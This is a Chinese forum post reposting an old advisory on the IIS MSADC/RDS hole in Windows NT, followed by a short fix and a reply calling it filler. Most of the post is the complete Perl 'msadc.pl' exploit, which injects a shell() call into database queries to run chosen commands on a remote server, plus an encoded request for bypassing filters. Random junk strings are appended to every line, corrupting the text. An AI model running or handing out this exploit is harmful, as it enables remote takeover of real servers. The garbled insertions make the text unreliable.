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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X2w)J?pv  
{UNH?2  
涉及程序: LG}{ibB  
Microsoft NT server kR]P/4r  
q8 v iC|  
描述: rxCzPF  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 N:j 7J  
:;?$5h*|`  
详细: ?d')#WnC  
如果你没有时间读详细内容的话,就删除: +NlnK6T/  
c:\Program Files\Common Files\System\Msadc\msadcs.dll F>;Wbk&[|  
有关的安全问题就没有了。 U)}]Z@I-  
d)%WaM%V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 SX4*804a_  
A#U! KX  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Koa9W >!  
关于利用ODBC远程漏洞的描述,请参看: xd Z$|{,  
Z)!8a$M~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i'Y8-})  
%ms%0%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 U-|]A\`)I  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ly0R'4j \  
;hj lRQ\  
这里不再论述。 F^Ut ZG+  
:e<jD_.X  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: MU<(O}  
6?Ncgj &@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Om3Ayk}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! InPE_  
>?g@Nt8  
!Tzo &G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" &/@V$'G=  
:!gNOR6Lh  
#!perl ZmK=8iN9J  
# tE*BZXBlm  
# MSADC/RDS 'usage' (aka exploit) script 1tuvJ+`{  
# bWSN]]e1#  
# by rain.forest.puppy 8SRR)O[)}  
# n 0!8)Sth  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ek +R  
# beta test and find errors! s$Vl">9#  
Ni~IY# '  
use Socket; use Getopt::Std; QM,#:m1o  
getopts("e:vd:h:XR", \%args); 8/e-?2l  
EQ%ooAb8  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <G})$f'x2  
DrRK Sc(u9  
if (!defined $args{h} && !defined $args{R}) { =Rd`"]Mnfb  
print qq~ JCWTB`EB>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "@ >6<(Ki  
-h <host> = host you want to scan (ip or domain) +pd,gG?dW  
-d <seconds> = delay between calls, default 1 second X[tt'5  
-X = dump Index Server path table, if available s-p)^B  
-v = verbose ~yv7[`+Tgg  
-e = external dictionary file for step 5 b]u$!W  
Xhe& "rM  
Or a -R will resume a command session Emlj,c<?j  
v l"8Oi*r^  
~; exit;} GRZz@bAO?$  
\`Hp/D1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; sn"((BsO<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Ny^ 1#R  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !73y(Y%TE  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *g5bdQ:Av~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} & ALnE:F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hHJiGVJ=V  
 "'4  
if (!defined $args{R}){ $ret = &has_msadc; j6%W+;{/pj  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Q-x>yau"  
EN m%(G$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^s~)"2 g  
. "cmd /c "; "GMU~594  
$in=<STDIN>; chomp $in; ZP"; B^J  
$command="cmd /c " . $in ; Ow 0>qzTg  
EP:`l  
if (defined $args{R}) {&load; exit;} a4:GGzt  
0ix(1`Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; u(vZOf]jL  
&try_btcustmr; r1!1u7dr t  
]V"P &; m  
print "\nStep 2: Trying to make our own DSN..."; l7`{O/hN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &'6/H/J  
HZ3;2k  
print "\nStep 3: Trying known DSNs..."; S:1[CNL;  
&known_dsn; 77\+V 0cF  
u\LNJo| B  
print "\nStep 4: Trying known .mdbs..."; 1$Hou   
&known_mdb; Q4XlYgIV2A  
oh5'Isb$  
if (defined $args{e}){ 4DL;Y  
print "\nStep 5: Trying dictionary of DSN names..."; }c G)$E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Q/o,2R  
|>Q>d8|k  
print "Sorry Charley...maybe next time?\n"; ~n=DI/AJ@-  
exit; 2u.0AG   
^ITF*  
############################################################################## Sk{skvd;  
rHKO13WF  
sub sendraw { # ripped and modded from whisker d(IJ-qJ N  
sleep($delay); # it's a DoS on the server! At least on mine... i l^;2`]&  
my ($pstr)=@_; ("U<@~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v_KO xV:<`  
die("Socket problems\n"); _[rFnyC+0V  
if(connect(S,pack "SnA4x8",2,80,$target)){ { ^o.f  
select(S); $|=1; l~Jd>9DwY  
print $pstr; my @in=<S>;  X}(s(6  
select(STDOUT); close(S); '$FF/|{  
return @in; ;nSF\X(;{  
} else { die("Can't connect...\n"); }} py;p7y!gxA  
|d0ZB_ci  
############################################################################## ,I"T9k-^  
V$ZclV2:Ih  
sub make_header { # make the HTTP request N.*)-O  
my $msadc=<<EOT Kq[4I[+R  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 I>?oVY6M@u  
User-Agent: ACTIVEDATA gnJ8tuS  
Host: $ip AM+5_'S,  
Content-Length: $clen kQkc+sGJf  
Connection: Keep-Alive 36.,:!%p  
}MaY:PMA  
ADCClientVersion:01.06 O2fq9%lk  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Avw=*ZW  
///Lg{ ie  
--!ADM!ROX!YOUR!WORLD! :M(uP e=D  
Content-Type: application/x-varg Sp>g77@  
Content-Length: $reqlen A8f.h5~9  
n])#<0  
EOT Wt/;iq"  
; $msadc=~s/\n/\r\n/g; 2E }vuw=c  
return $msadc;} z~Q=OPCnY  
aL1%BGlmZ<  
############################################################################## - l X4;  
z& ;8pZr  
sub make_req { # make the RDS request exq5Zc%  
my ($switch, $p1, $p2)=@_; mx^Ga=: ?  
my $req=""; my $t1, $t2, $query, $dsn; \3hA_{ w  
T'pL&@,Q  
if ($switch==1){ # this is the btcustmr.mdb query =~ Uhr6Q  
$query="Select * from Customers where City=" . make_shell(); I|rb"bG  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . i"&FW&W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} MtkU]XKGT  
&nIu^,.  
elsif ($switch==2){ # this is general make table query vAX(3  
$query="create table AZZ (B int, C varchar(10))"; uZ6krI  
$dsn="$p1";} C8K2F5c5  
_mSefPl  
elsif ($switch==3){ # this is general exploit table query ko9}?qs  
$query="select * from AZZ where C=" . make_shell(); 8>YF}\D V  
$dsn="$p1";} 1<ag=D`F_"  
^+x?@$rq  
elsif ($switch==4){ # attempt to hork file info from index server zT>!xGTu7~  
$query="select path from scope()"; 6*i **  
$dsn="Provider=MSIDXS;";} ET.jjV  
c)#P}Ai  
elsif ($switch==5){ # bad query l 5-[a  
$query="select"; !<M eWo  
$dsn="$p1";} o*Qa*<n  
?=&; A  
$t1= make_unicode($query); {KgA V  
$t2= make_unicode($dsn); 2 GRI<M  
$req = "\x02\x00\x03\x00"; rpKZ>S|7+)  
$req.= "\x08\x00" . pack ("S1", length($t1)); nJe}U#  
$req.= "\x00\x00" . $t1 ; =zFROB\  
$req.= "\x08\x00" . pack ("S1", length($t2)); AJ7w_'u=@  
$req.= "\x00\x00" . $t2 ; SES.&e|!6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ?4':~;~  
return $req;} ! JA;0[;l=  
Cu7{>"  
############################################################################## zamMlmls^  
h'"m,(a   
sub make_shell { # this makes the shell() statement -'Z Gc8)  
return "'|shell(\"$command\")|'";} .I:rb~ &  
CNN9a7  
############################################################################## sqKx?r72  
wqo:gW_  
sub make_unicode { # quick little function to convert to unicode VKttJok1  
my ($in)=@_; my $out; m?(8T|i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } D;+/ bll7  
return $out;} IQJ"B6U)  
B[Lm}B[  
############################################################################## ]LB_ @#  
WJq>%<#  
sub rdo_success { # checks for RDO return success (this is kludge) c9+G Qp  
my (@in) = @_; my $base=content_start(@in); j*>J1M3E  
if($in[$base]=~/multipart\/mixed/){ [1rQ'FBB^1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} u=0O3-\h  
return 0;} {JfQQP&FV  
&3SS.&g4W  
############################################################################## IHTim T?  
* BM|luYL  
sub make_dsn { # this makes a DSN for us  Qxz[  
my @drives=("c","d","e","f"); h  /  
print "\nMaking DSN: "; _r-LX"  
foreach $drive (@drives) {  w*`:v$  
print "$drive: "; :9QU\{2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . g`pq*D  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |mt W)  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZxvH1qx8  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; h:fiUCw  
return 0 if $2 eq "404"; # not found/doesn't exist vx9!KWy}  
if($2 eq "200") { 4A J]qu  
foreach $line (@results) { D_lRYLA+  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} dWd%>9 }  
} return 0;} ;g0s1nz  
rMwa6ZO'm;  
############################################################################## XmQ ;Roe  
n=!T (Hk  
sub verify_exists { yX!fj\R  
my ($page)=@_; 8xB-cE  
my @results=sendraw("GET $page HTTP/1.0\n\n"); u[)X="-e#  
return $results[0];} dWn6-es  
WX4sTxJK  
############################################################################## TO Hz3=  
>SXSrXyYX  
sub try_btcustmr { k>ErD v8  
my @drives=("c","d","e","f"); _9>,9aL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Hf('BagBL  
/MtmO$ .  
foreach $dir (@dirs) { [~N;d9H+*1  
print "$dir -> "; # fun status so you can see progress <);q,|eh2  
foreach $drive (@drives) { Wx0i_HFR  
print "$drive: "; # ditto ]0D-g2!|A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; O=A R`r#u  
$reqlenlen=length( "$reqlen" ); g}%ODa !H  
$clen= 206 + $reqlenlen + $reqlen; <ww D*t  
:[<Y#EX.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); O}"oz3H  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yx8G9SO?  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} PMP{|yEx"  
Zbnxs.i!  
############################################################################## *}vvS^c0  
~IZ-:?+S^  
sub odbc_error { o(ow{S@=4  
my (@in)=@_; my $base; s* GZOz  
my $base = content_start(@in); \kQ)fk]^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  ]~;*9`:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LtB5;ByeQ0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?d%)R*3IX  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pwN2Nzski  
return $in[$base+4].$in[$base+5].$in[$base+6];} Yh95W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 'bx}[  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . <PSz`)SN  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2mEqfy  
M !6Fnj  
############################################################################## _4>DuklH,  
;"&?Okz  
sub verbose { %<kfW&_>w  
my ($in)=@_; {jD?obs  
return if !$verbose; |it*w\+M  
print STDOUT "\n$in\n";} LGL;3EI  
+c_AAMe  
############################################################################## 2xN7lfu1RB  
/D"T\KNWr  
sub save { 1t e^dh:Vp  
my ($p1, $p2, $p3, $p4)=@_; 7=fM}sk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; "\*)KH`C  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $R}C(k ;?  
close OUT;} CRo'r/G  
-`4]u!A  
############################################################################## 8 o}5QOW  
k1D7=&i  
sub load { bZ_&AfcB  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vGyQ306  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); b_Y+XXb<  
@p=<IN>; close(IN); 9SeGkwec?$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #m|el@)  
$target= inet_aton($ip) || die("inet_aton problems"); Z kw-a  
print "Resuming to $ip ..."; Mzg'$]N  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; MNs<yQ9I'  
if($p[1]==1) { ai;!Q%B#Q  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; l]|&j`'O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; bpsyO>lx/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); G5qsnTxUJ  
if (rdo_success(@results)){print "Success!\n";} r^"o!,H9q  
else { print "failed\n"; verbose(odbc_error(@results));}} :fmV||Q  
elsif ($p[1]==3){ MLr L"I"  
if(run_query("$p[3]")){ t'F$/mx.  
print "Success!\n";} else { print "failed\n"; }} >IQ&*Bb  
elsif ($p[1]==4){ #xmiUN,|  
if(run_query($drvst . "$p[3]")){ ^(&2  
print "Success!\n"; } else { print "failed\n"; }} |6NvByc,  
exit;} :vi %7  
]/ !*^;cY(  
############################################################################## L^e*_q2d:>  
2>"{El|PbN  
sub create_table { HV!P]82Pa  
my ($in)=@_; .:H'9QJg  
$reqlen=length( make_req(2,$in,"") ) - 28; %;4#?.W8  
$reqlenlen=length( "$reqlen" ); _3 [E$Lg  
$clen= 206 + $reqlenlen + $reqlen; wSjy31  
my @results=sendraw(make_header() . make_req(2,$in,"")); s;h`n$  
return 1 if rdo_success(@results); !& c%!*  
my $temp= odbc_error(@results); verbose($temp); PE7V1U#$o,  
return 1 if $temp=~/Table 'AZZ' already exists/; '0 Ys`Qo  
return 0;} +]t9kr  
>kAJS??  
############################################################################## =O8YU)#  
#~j$J  
sub known_dsn { QqL?? p-S>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~oOv/1v},  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `*CoVx~fk  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", b5g^{bzwu  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \nOV2(FAT  
r;f\^hVy  
foreach $dSn (@dsns) { blz#M #  
print "."; &h[)nD  
next if (!is_access("DSN=$dSn")); G%gdI3h1Z  
if(create_table("DSN=$dSn")){ ;\"Nekd|  
print "$dSn successful\n"; @uC-dXA"  
if(run_query("DSN=$dSn")){ 3znhpHO)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M/V"Ke"N  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F-Z>WC{+  
[9?]|4  
############################################################################## iP7KM*ks  
e7G>'K  
sub is_access { R7Tl 1!,h  
my ($in)=@_; :%Z)u:~':  
$reqlen=length( make_req(5,$in,"") ) - 28; N0fE*xo  
$reqlenlen=length( "$reqlen" ); ;2 o{ 6  
$clen= 206 + $reqlenlen + $reqlen; JF &$'  
my @results=sendraw(make_header() . make_req(5,$in,"")); ve#[LBOC8  
my $temp= odbc_error(@results); dd=5`Bo9Yh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]Gl_L7u`  
return 0;} ^R\5'9K!  
e /XOmv  
############################################################################## Z[+Qf3j}o6  
,[m4+6G5  
sub run_query { 9LQy 0Gx  
my ($in)=@_; oi3Ix7  
$reqlen=length( make_req(3,$in,"") ) - 28; pfim*\'  
$reqlenlen=length( "$reqlen" ); dkEnc  
$clen= 206 + $reqlenlen + $reqlen; ]H:K$nmX  
my @results=sendraw(make_header() . make_req(3,$in,"")); uJ*|SSN~  
return 1 if rdo_success(@results); (I`< ;  
my $temp= odbc_error(@results); verbose($temp); hy"p8j7_  
return 0;} Vfw +m1sS  
I |D]NY^  
############################################################################## a(o[ bH.|;  
iEFS>kL8e  
sub known_mdb { 8HO)",+I  
my @drives=("c","d","e","f","g"); zJ0'KHF}o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8/34{2048  
my $dir, $drive, $mdb; nDC5/xB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; qmnCa&C9  
gvZLW!={  
# this is sparse, because I don't know of many qfY=!|O  
my @sysmdbs=( "\\catroot\\icatalog.mdb", /|e"0;{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /=OSGIJzm  
"\\system32\\certmdb.mdb", b!37:V\#}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% X>jwjRK $  
q33!X!br  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r52,f%nlm  
"\\cfusion\\cfapps\\forums\\forums_.mdb", uP ?gGo  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [/t/694  
"\\cfusion\\cfapps\\security\\realm_.mdb", !as<UH"\  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sEfGf.  
"\\cfusion\\database\\cfexamples.mdb", gk6j5 $Y"<  
"\\cfusion\\database\\cfsnippets.mdb", ^?[^o\/@R  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Z42v@?R.!W  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Z@iMG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %@M/)"k  
"\\cfusion\\database\\smpolicy.mdb", : [vp.vw}/  
"\\cfusion\\database\cypress.mdb", h$zPQ""8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  K[TMTn  
"\\website\\cgi-win\\dbsample.mdb", &9] [ ~$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", p|%Y\!  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~h[lu^ZSi  
); #these are just G@Zi3 5  
foreach $drive (@drives) { S+OI?QS  
foreach $dir (@dirs){ ")M.p_b[Z=  
foreach $mdb (@sysmdbs) { u= +  
print "."; f{z%PI[  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {78*S R  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; {K0T%.G  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ uJp}9B60_  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; g9"_BG  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1y8:tri>N  
tT#Q`cB  
foreach $drive (@drives) { \ZDT=?  
foreach $mdb (@mdbs) { .}y Lz  
print "."; #WpO9[b>  
if(create_table($drv . $drive . $dir . $mdb)){ A8eli=W  
print "\n" . $drive . $dir . $mdb . " successful\n"; qaGIU`}:$A  
if(run_query($drv . $drive . $dir . $mdb)){ fW}H##b  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; =v5(*$"pd"  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^lMnwqx<  
} (U dDp"/  
f,a4LF  
############################################################################## o_*|`E  
Q}.y"|^  
sub hork_idx { |)JoxqR  
print "\nAttempting to dump Index Server tables...\n"; @x J^JcE  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &Y=NUDt_  
$reqlen=length( make_req(4,"","") ) - 28; c`}X2u]k  
$reqlenlen=length( "$reqlen" ); =nL*/  
$clen= 206 + $reqlenlen + $reqlen; Gf]s?J^a  
my @results=sendraw2(make_header() . make_req(4,"","")); |f}NO~CA  
if (rdo_success(@results)){ q(p0#Mk,E  
my $max=@results; my $c; my %d; M2EN(Y_k0  
for($c=19; $c<$max; $c++){ ?Ru`ma\;  
$results[$c]=~s/\x00//g; ^{K8uN7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <d5vVn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; I !<v$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; C[&&.w8Pm  
$d{"$1$2"}="";} v_@_J!s  
foreach $c (keys %d){ print "$c\n"; } 6uXYZ.A  
} else {print "Index server doesn't seem to be installed.\n"; }} IP;@unBl  
xA5$!Oq7  
############################################################################## KE3 /<0Z  
1=a}{)0h  
sub dsn_dict { C;) xjZiR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {n{}Y.  
while(<IN>){ dGteYt_F  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )|a9Z~#x  
next if (!is_access("DSN=$dSn")); pOYtN1uN|  
if(create_table("DSN=$dSn")){ YPy))>Q>cK  
print "$dSn successful\n"; G([vy#p  
if(run_query("DSN=$dSn")){ fDqXM;a"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =GVhAzD3  
print "Something's borked. Use verbose next time\n";}}} $B?7u@>,  
print "\n"; close(IN);} *pD;AU  
`^ _:  
############################################################################## @Kr)$F  
D)sEAfvX  
sub sendraw2 { # ripped and modded from whisker ` j<tI6[e  
sleep($delay); # it's a DoS on the server! At least on mine... ?^vZ{B)&0E  
my ($pstr)=@_; f,a %@WT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Lb{D5k*XU  
die("Socket problems\n"); e,*[5xQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;2|H6IN"  
print "Connected. Getting data"; (*x "6)`  
open(OUT,">raw.out"); my @in; k0IU~y%  
select(S); $|=1; print $pstr; `~]ReJ!X%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} fx-*')  
close(OUT); select(STDOUT); close(S); return @in; Ma daxx  
} else { die("Can't connect...\n"); }} "'#Hh&Us  
&Kp+8D*  
############################################################################## _D4}[`  
S%fBt?-Cm  
sub content_start { # this will take in the server headers 7dJaWD:&   
my (@in)=@_; my $c; B~#@fIL  
for ($c=1;$c<500;$c++) { 6 {Z\cwP)c  
if($in[$c] =~/^\x0d\x0a/){ x+e _pb   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yMkd|1  
else { return $c+1; }}} `7_LJ \>I  
return -1;} # it should never get here actually 9p4U\hx  
ex+AT;o  
############################################################################## 5Z,lWp2A  
/,UkT*+>!  
sub funky { B ,Brmn  
my (@in)=@_; my $error=odbc_error(@in); ;#i$0~lRl  
if($error=~/ADO could not find the specified provider/){ @GtZK  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; uP]o39b;V  
exit;} rfi`Bp  
if($error=~/A Handler is required/){ bVHi3=0{  
print "\nServer has custom handler filters (they most likely are patched)\n"; |pR$' HO  
exit;} [;AcV73  
if($error=~/specified Handler has denied Access/){ :a@z53X@M  
print "\nServer has custom handler filters (they most likely are patched)\n"; $SVGpEw  
exit;}} )+,jal^7  
9`{2h$U  
############################################################################## }2,#[m M  
6S[D"Q94  
sub has_msadc { PWu2;JF  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); gu[dw3L  
my $base=content_start(@results); hY 2PV7"[;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n^02@Aw  
return 0;} - (}1o9e\7  
DZ.trtK  
########################  0QqzS  
HjS^ nYl  
kG$8E  
解决方案: ONiI:Z>%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll z44~5J]  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 jY+S,lD  
"nno)~)u  
拿出来充数 哈哈
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